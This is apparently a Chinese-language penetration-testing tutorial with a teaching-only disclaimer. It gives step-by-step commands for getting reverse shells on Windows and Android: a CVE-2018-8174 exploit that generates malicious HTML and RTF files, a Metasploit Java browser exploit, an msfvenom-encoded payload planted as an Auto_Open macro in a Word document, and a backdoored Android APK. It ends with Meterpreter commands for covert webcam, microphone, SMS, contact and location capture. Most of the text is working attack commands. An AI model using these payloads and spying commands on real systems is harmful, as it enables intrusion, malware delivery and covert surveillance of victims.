本篇文章仅具有教学意义,测试环境为内网虚拟机渗透,如有不法分子使用此文章的内容命令对公网进行渗透,与本文章作者无关,如有发现,请及时举报。
一. 利用0day漏洞CVE-2018-8174获取shell
0DAY漏洞,最早的破解是专门针对软件的,叫做WAREZ,后来发展到游戏,音乐,影视等其他内容的。0day中的0表示zero,早期0day表示在软件发行后的24小时内就出现破解版本,现在我们已经引申了这个含义,只要实在软件或者其他东西发布后,在最短时间内出现相关破解的,都可以叫0day。0day是一个统称,所有的破解都可以叫0day。
CVE-2018-8174漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。微软在2018年4月20日早上确认此漏洞,并于2018年5月8号发布了官方安全补丁,对该0day漏洞进行了修复,并将其命名为CVE-2018-8174。
安装 CVE-2018-8174_EXP
使用 Xshell 上传 CVE-2018-8174 的 EXP 到 Kali


┌──(root?kali)-[~]
└─# unzip CVE-2018-8174_EXP-master.zip
生成恶意 html 文件
└─# cd CVE-2018-8174_EXP-master/
└─# ls
└─# python2 CVE-2018-8174.py -u http://172.172.172.222/exploit.html -o hack.rtf -i
172.172.172.222 -p 4444
参数说明:
-u:URL 地址,恶意 html 文件 hack.html 的访问地址
-o:生成文档
-i:监听地址
-p:监听端口
恶意 html 文件生成成功:

将恶意 html 文件移动到网站根目录
└─# cp exploit.html /var/www/html/
启动 apache2 服务
└─# systemctl start apache2
新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听
└─# msfdb run

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.172.172.222
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
受害者点击恶意链接
进入 win7,打开 IE 浏览器或是 IE 内核的浏览器,比如 360 浏览器,访问恶意链接
http://172.172.172.222/exploit.html


存在一定几率,非100%成功。
二. 实战-基于 java 环境的漏洞利用获取 shell
1、搭建 java 环境
第一步我们先安装 java 环境上传 jre 到 win7 或 xp 操作系统

注:通过此案例,告诉大家,软件升级还是很重要的。
我这里直接上传到 win7 下执行。
安装过程就不贴图了。一直点击下一步即可。
2、实战-使用 java 模块 getshell
msf6 > use exploit/multi/browser/java_jre17_driver_manager
msf6 exploit(multi/browser/java_jre17_driver_manager) > show options

注:看到这里 target 是一个通用的 java payload。 我们可以自己指定一个,也可以使用默认指定的 payload。

msf6 exploit(multi/browser/java_jre17_driver_manager) > show payloads #查看此 java模块可以使用的 payloads

msf6 exploit(multi/browser/java_jre17_driver_manager) > set payload
java/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.1.53
msf6 exploit(multi/browser/java_jre17_driver_manager) > jobs -K
msf6 exploit(multi/browser/java_jre17_driver_manager) > exploit

在 win7 上安装 java 环境
win7 主机访问 http://172.172.172.222:8080/XLlJs9gCAWz

提示我们 java 版本需要更新我们点击 later 先不更新

然后我们发现运行了一个 java 程序,但是用户关闭了 java 程序也不影响我们 session 的正常访问。

回到 MSF 控制台

msf6 exploit(multi/browser/java_jre17_driver_manager) > sessions -i 1


3. 利用宏感染 word 文档获取 shell
office 2016 下载地址:
链接:https://pan.baidu.com/s/1LzbgyjBYAL0sfsQoePLfzA
提取码:5ksy
首先将 office 2016.zip 上传到 win7 虚拟机上,解压后,安装一下 office。
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.53 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f vba-exe
执行完成后会生成 2 段代码
第一段代码是 MACRO CODE
从这里开始:

到这里结束:

第二段代码 payload。

注:*号中的内容不要,从这个往下开始复制,如下:

一直到最后。
打开 Word 新建空白文档,新建宏

宏名 Auto_Open

清除默认的代码,复制第一段 code 代码内容到编辑器中,然后返回到 Word 内容编辑区。

复制第二段代码 payload 到 word 正文,然后保存文档。

按 Ctrl+s 保存

MSF 配置侦听
msf6 exploit(multi/browser/java_jre17_driver_manager) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
msf6 exploit(multi/handler) > jobs -K
msf6 exploit(multi/handler) > exploit
配置好侦听之后我们打开我们制作的 word 文档,文档一旦打开就会执行 payload 连接到MSF,关闭 word 文档之后 session 不受影响。

打开之后我们回到 MSF 控制台

Session 已经建立
meterpreter > getuid

我们尝试把 payload 转移到其他进程
meterpreter > getpid 获取当前进程 pid

meterpreter > ps #查看进程列表,在 ps 列出的进程列表,倒数第 1 个就是我们进程的 pid

migrate 迁移进程id
4. 安卓客户端渗透
安卓客户端渗透目前来说已经是 CTF 中的一个非常重要的分类了,但是通常更多的是二进制层面的博弈,如果仅仅是在 apk 中注入后门可能非常简单,但通常需要的是一系列的攻击手段来辅助完成的。所以这里仅做简单介绍,并不深入研究。
注入恶意代码到隐藏游戏 APP 中(请勿在 Kali 2019.4 版本中操作,可能存在兼容问题。)
使用root用户登录kali,千万不要用普通用户登录然后再su切换root用户。
禁用 IPv6
└─# echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf
└─# sysctl -p
└─# ifconfig

环境准备
1、MSF-Metasploit Framework
2、一台安装手机或者模拟器
木马生成
生成一个apk后门
msfvenom -p android/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} R > k.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 R>k.apk

三、配置监控
启动msf 终端内输入:msfdb run

载入监控模块 msf中输入: use exploit/multi/handler

载入payload MSF终端中输入: set payload android/meterpreter/reverse_tcp
配置监控IP MSF中输入: set lhost <监控的IP>
配置监控端口 MSF中输入: set lport <监控的端口>


run
四、攻击利用
1、将木马上传到靶机
2、在靶机上执行木马
3、完成攻击利用!



常用命令解释
Stdapi: Webcam Commands
===================================
webcam_list 列出网络摄像头
record_mic [ˈrekərd]/记录/ 从默认麦克风录制音频为 X 秒
webcam_chat 开始视频聊天
webcam_snap 从指定的摄像头获取快照
webcam_stream -i 1 从指定的网络摄像头播放视频流[选择后摄像头]
Android Commands
=================
activity_start 从 URI 字符串启动 Android 活动
check_root 检查设备是否有根
dump_calllog 获取调用日志
dump_contacts 获取联系人列表
dump_sms 获取短信
geolocate 利用地理定位获取当前 LAT
wlan_geolocate 利用 WLAN 信息获取当前 LAT
hide_app_icon 从发射器隐藏应用程序图标
interval_collect 管理区间收集能力
send_sms 从目标会话发送短消息
set_audio_mode
sqlite_query 从存储库查询 SQLite 数据库
wakelock 启用/禁用 Wakelock
meterpreter > cd /
meterpreter > ls
总结:
4.1 实战-利用 0DAY 漏洞获取 shell
4.2 实战-基于 java 环境的漏洞利用获取 shell
4.3 实战-利用宏感染 word 文档获取 shell
4.4 安卓客户端渗透